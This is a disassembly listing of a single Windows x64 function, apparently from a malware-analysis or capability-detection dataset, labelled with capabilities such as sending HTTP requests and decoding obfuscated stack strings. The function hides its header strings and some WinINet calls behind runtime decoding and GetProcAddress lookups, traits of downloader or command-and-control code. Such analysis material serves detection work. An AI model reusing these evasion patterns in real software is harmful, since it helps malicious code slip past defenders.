Function at 0x140001970
Capabilities:
Check http status code
Connect to http server
Contain obfuscated stackstrings
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x20], r9d
mov qword [rax + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x588]
sub rsp, 0x650
xor esi, esi
lea rax, [rbp - 8]
mov r15, rdx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x5a8]
mov r14d, esi
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x28]
lea edi, [rsi + 7]
call fcn.140001714
test eax, eax
je 0x140002362
lea r8, [rbp - 0x18]
mov dword [rbp - 0x18], 0x208
lea rdx, [rbp + 0x340]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_ObtainUserAgentString]
test eax, eax
jne 0x140002338
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rbp + 0x340]
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp], rax
mov r12, rax
test rax, rax
je 0x140002338
mov rbx, qword [rbp - 0x20]
lea r8d, [rsi + 0x2e]
mov rcx, rbx
xor edx, edx
call qword [sym.imp.SHLWAPI.dll_StrRChrA]
mov r9, rax
mov r13d, 0x81020409
test rax, rax
je 0x140001bcc
mov byte [rsp + 0x40], 0x3d
mov r8d, esi
mov byte [rsp + 0x41], 0x2c
mov byte [rsp + 0x42], 0x25
mov byte [rsp + 0x43], 0x55
mov byte [rsp + 0x44], 0x25
mov byte [rsp + 0x45], 0x1d
mov byte [rsp + 0x46], 0x78
mov al, byte [rsp + 0x40]
movzx ecx, byte [rsp + r8 + 0x40]
mov eax, 0x78
sub eax, ecx
lea ecx, [rax + rax*8]
mov eax, r13d
add ecx, ecx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r13d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x40], cl
inc r8
cmp r8, rdi
jb 0x140001a62
lea rdx, [rsp + 0x40]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140001bcc
mov rcx, qword [rbp - 0x20]
call fcn.14000579c
mov r9d, eax
cmp eax, 0xffffffff
je 0x140001bcc
mov byte [rsp + 0x60], 0x63
mov r10, rsi
mov byte [rsp + 0x61], reloc.WS2_32.dll_select
mov byte [rsp + 0x62], 0x40
mov byte [rsp + 0x63], 0x63
mov byte [rsp + 0x64], reloc.WS2_32.dll_select
mov byte [rsp + 0x65], 0x40
mov byte [rsp + 0x66], 0x63
mov byte [rsp + 0x67], reloc.WS2_32.dll_select
mov byte [rsp + 0x68], 0x40
mov byte [rsp + 0x69], 0x63
mov byte [rsp + 0x6a], reloc.WS2_32.dll_select
mov byte [rsp + 0x6b], 3
mov al, byte [rsp + 0x60]
movzx ecx, byte [rsp + r10 + 0x60]
mov eax, r13d
sub ecx, 3
imul r8d, ecx, 7
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r13d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r10 + 0x60], r8b
inc r10
cmp r10, 0xc
jb 0x140001b1e
mov eax, r9d
xor eax, 0xfeffffff
sar eax, 0x18
movzx r8d, al
mov eax, r9d
xor eax, 0xfffeffff
mov dword [rsp + 0x30], r8d
sar eax, 0x10
lea r8, [rsp + 0x60]
movzx edx, al
mov eax, r9d
mov dword [rsp + 0x28], edx
xor eax, 0xfffffeff
sar eax, 8
xor r9d, 0xfffffffe
movzx ecx, al
mov edx, 0x104
mov dword [rsp + 0x20], ecx
lea rcx, [rbp + 0x10]
movzx r9d, r9b
call fcn.140001008
lea rbx, [rbp + 0x10]
mov r14d, 1
movzx r8d, word [rbp + 0x5a8]
xor r9d, r9d
mov qword [rsp + 0x38], rsi
mov rdx, rbx
mov dword [rsp + 0x30], esi
mov rcx, r12
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_InternetConnectA]
xor ebx, ebx
mov r13, rax
test rax, rax
je 0x14000232f
cmp dword [rbp - 0x28], 4
mov ecx, 0x4080000
mov r8, qword [rbp - 8]
mov eax, 0x4883000
cmove ecx, eax
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ecx
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov rcx, r13
mov rdx, r15
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
je 0x140002326
test r14d, r14d
mov r14d, 0x81020409
je 0x140001d0b
mov byte [rbp - 0x50], 0x60
mov r8d, ebx
mov byte [rbp - 0x4f], 0x54
mov byte [rbp - 0x4e], 0x49
mov byte [rbp - 0x4d], 0x66
mov byte [rbp - 0x4c], 0x47
mov byte [rbp - 0x4b], 0x4f
mov byte [rbp - 0x4a], 0x61
mov byte [rbp - 0x49], 0x49
mov byte [rbp - 0x48], 0x24
mov byte [rbp - 0x47], 0x4c
mov byte [rbp - 0x46], 0x28
mov al, byte [rbp - 0x50]
movzx ecx, byte [rbp + r8 - 0x50]
mov eax, 0x28
sub eax, ecx
imul ecx, eax, 0x23
mov eax, r14d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r14d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x50], cl
inc r8
cmp r8, 0xb
jb 0x140001c8b
mov r9, qword [rbp - 0x20]
lea r8, [rbp - 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x120]
call fcn.140001008
mov r9d, 0xa0000000
lea rdx, [rbp + 0x120]
or r8d, 0xffffffff
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
cmp byte [r15], 0x48
jne 0x140001de1
mov byte [rsp + 0x50], 0x43
mov r11, rbx
mov byte [rsp + 0x51], 0x5a
mov byte [rsp + 0x52], 0x45
mov byte [rsp + 0x53], 0x20
mov byte [rsp + 0x54], 0x61
mov byte [rsp + 0x55], 0x27
mov byte [rsp + 0x56], 0x3b
mov byte [rsp + 0x57], 0x4d
mov byte [rsp + 0x58], 0x36
mov byte [rsp + 0x59], bl
mov byte [rsp + 0x5a], ntohs
mov byte [rsp + 0x5b], 0x66
mov byte [rsp + 0x5c], shutdown
mov al, byte [rsp + 0x50]
movzx ecx, byte [rsp + r11 + 0x50]
mov eax, r14d
sub ecx, 0x15
imul r10d, ecx, 0x37
imul r10d
add edx, r10d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r10d, eax
mov eax, r14d
add r10d, 0x7f
imul r10d
add edx, r10d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r10d, eax
mov byte [rsp + r11 + 0x50], r10b
inc r11
cmp r11, 0xd
jb 0x140001d5c
mov r9, qword [rbp - 8]
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x230]
call fcn.140001008
mov r9d, 0xa0000000
lea rdx, [rbp + 0x230]
or r8d, 0xffffffff
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov r14d, 4
cmp dword [rbp - 0x28], r14d
jne 0x140001e08
mov r9d, r14d
mov dword [rbp - 0x14], 0x4380
lea r8, [rbp - 0x14]
mov rcx, rsi
lea edx, [r14 + 0x1b]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140001e2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000231d
lea r9, [rbp - 0x10]
mov dword [rbp - 0x10], r14d
lea r8, [rbp - 0x24]
mov qword [rsp + 0x20], rbx
mov edx, 0x20000013
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x14000231d
cmp dword [rbp - 0x24], 0xc8
je 0x140001e78
cmp dword [rbp - 0x24], 0x194
mov edi, 2
jne 0x14000231d
mov edi, 1
jmp 0x14000231d
cmp byte [r15], 0x48
jne 0x140001faf
mov ebx, 0x1000
mov dword [rbp + 0x5c0], ebx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x14000231d
mov byte [rsp + 0x48], 0x70
mov r14d, 5
mov byte [rsp + 0x49], 0x57
xor r8d, r8d
mov byte [rsp + 0x4a], 0x59
mov r9d, 0x81020409
mov byte [rsp + 0x4b], r14b
mov byte [rsp + 0x4c], 0x67
mov byte [rsp + 0x4d], 0x72
mov al, byte [rsp + 0x48]
movzx ecx, byte [rsp + r8 + 0x48]
mov eax, 0x72
sub eax, ecx
imul ecx, eax, 0x2c
mov eax, r9d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r9d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x48], cl
inc r8
cmp r8, 6
jb 0x140001ee1
mov r8d, dword [rbp + 0x5c0]
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.14000bfd0
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x5c0]
mov r8, rbx
mov edx, 0xffff
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x140001f7f
mov rax, qword [rbp + 0x5b0]
xor edi, edi
mov rcx, qword [rbp + 0x5b8]
mov qword [rax], rbx
mov eax, dword [rbp + 0x5c0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2f76
cmove edi, r14d
test edi, edi
je 0x14000231d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000231d
mov r15, qword [rbp + 0x5b0]
test r15, r15
je 0x14000231b
mov r14, qword [rbp + 0x5b8]
mov r12d, 0x81020409
mov byte [rbp - 0x70], 0x64
mov r8, rbx
mov byte [rbp - 0x6f], 0x66
mov byte [rbp - 0x6e], 0x44
mov byte [rbp - 0x6d], 0x1a
mov byte [rbp - 0x6c], 0x25
mov byte [rbp - 0x6b], 0x66
mov byte [rbp - 0x6a], 0x1a
mov byte [rbp - 0x69], 0x44
mov byte [rbp - 0x68], 0x61
mov byte [rbp - 0x67], reloc.WS2_32.dll_sendto
mov byte [rbp - 0x66], 0x1a
mov byte [rbp - 0x65], 0x25
mov byte [rbp - 0x64], 0x52
mov byte [rbp - 0x63], 0x56
mov byte [rbp - 0x62], 0x5b
mov byte [rbp - 0x61], 0x44
mov byte [rbp - 0x60], 0x5b
mov byte [rbp - 0x5f], 0x67
mov byte [rbp - 0x5e], 0x63
mov byte [rbp - 0x5d], 0x5b
mov byte [rbp - 0x5c], 0x58
mov byte [rbp - 0x5b], 0x47
mov byte [rbp - 0x5a], 0x5b
mov byte [rbp - 0x59], 0x2b
mov byte [rbp - 0x58], 0x47
mov byte [rbp - 0x57], 0x1a
mov byte [rbp - 0x56], 0x30
mov al, byte [rbp - 0x70]
movzx ecx, byte [rbp + r8 - 0x70]
mov eax, 0x30
sub eax, ecx
imul ecx, eax, 0x2d
mov eax, r12d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r12d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x70], cl
inc r8
cmp r8, 0x1b
jb 0x14000203e
mov byte [rsp + 0x70], 0x5d
mov r8, rbx
mov byte [rsp + 0x71], 0x41
mov byte [rsp + 0x72], 0x4b
mov byte [rsp + 0x73], 0x41
mov byte [rsp + 0x74], 0x4b
mov byte [rsp + 0x75], 0x39
mov byte [rsp + 0x76], 0x57
mov byte [rsp + 0x77], 0x4a
mov byte [rsp + 0x78], 0x37
mov byte [rsp + 0x79], 0x47
mov byte [rsp + 0x7a], 0x47
mov byte [rsp + 0x7b], 0x6d
mov al, byte [rsp + 0x70]
movzx ecx, byte [rsp + r8 + 0x70]
mov eax, 0x6d
sub eax, ecx
imul ecx, eax, 0x3f
mov eax, r12d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r12d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x70], cl
inc r8
cmp r8, 0xc
jb 0x1400020ce
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rdx, [rbp + 0x5a0]
xor r8d, r8d
mov rcx, rsi
call rax
test eax, eax
je 0x14000237f
mov ecx, dword [rbp + 0x5a0]
test ecx, ecx
je 0x140002317
mov r12, qword [r15]
test r12, r12
jne 0x14000217e
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
lea edx, [r12 + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x14000219d
mov ebx, dword [r14]
add ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, ebx
mov r8, r12
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
xor ebx, ebx
mov qword [r15], rax
test rax, rax
je 0x14000237f
mov byte [rbp - 0x40], 0x74
mov r9d, ebx
mov byte [rbp - 0x3f], 0xb
mov r12d, 0x81020409
mov byte [rbp - 0x3e], reloc.WS2_32.dll_select
mov byte [rbp - 0x3d], 0x40
mov byte [rbp - 0x3c], 0x3a
mov byte [rbp - 0x3b], 0xb
mov byte [rbp - 0x3a], 0x40
mov byte [rbp - 0x39], reloc.WS2_32.dll_select
mov byte [rbp - 0x38], 0x3f
mov byte [rbp - 0x37], 0x40
mov byte [rbp - 0x36], reloc.WS2_32.dll_recvfrom
mov byte [rbp - 0x35], 0x54
mov byte [rbp - 0x34], 0x31
mov byte [rbp - 0x33], 0x6f
mov byte [rbp - 0x32], 0x33
mov byte [rbp - 0x31], 0x40
mov byte [rbp - 0x30], 0x34
mov al, byte [rbp - 0x40]
movzx ecx, byte [rbp + r9 - 0x40]
mov eax, r12d
sub ecx, 0x34
imul r8d, ecx, 0x13
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r12d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x40], r8b
inc r9
cmp r9, 0x11
jb 0x1400021fb
mov byte [rbp - 0x80], 8
mov r9, rbx
mov byte [rbp - 0x7f], 0x47
mov byte [rbp - 0x7e], 0x70
mov byte [rbp - 0x7d], 0x47
mov byte [rbp - 0x7c], 0x70
mov byte [rbp - 0x7b], 0x59
mov byte [rbp - 0x7a], 0x55
mov byte [rbp - 0x79], shutdown
mov byte [rbp - 0x78], 0x1e
mov byte [rbp - 0x77], 0x79
mov byte [rbp - 0x76], 0x79
mov byte [rbp - 0x75], 0x63
mov al, byte [rbp - 0x80]
movzx ecx, byte [rbp + r9 - 0x80]
mov eax, r12d
sub ecx, 0x63
imul r8d, ecx, 0x1c
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r12d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x80], r8b
inc r9
cmp r9, 0xc
jb 0x140002282
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [r14]
lea r9, [rbp - 0xc]
add rdx, qword [r15]
mov rcx, rsi
mov r8d, dword [rbp + 0x5a0]
call rax
test eax, eax
je 0x14000237f
mov eax, dword [rbp + 0x5a0]
cmp dword [rbp - 0xc], eax
jne 0x14000237f
add dword [r14], eax
jmp 0x140001fcc
mov r12, qword [rbp]
mov edi, ebx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x690]
mov eax, edi
add rsp, 0x650
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rbx, qword [r15]
test rbx, rbx
je 0x14000239b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14, r14
je 0x1400023a4
and dword [r14], 0
mov r12, qword [rbp]
jmp 0x14000231d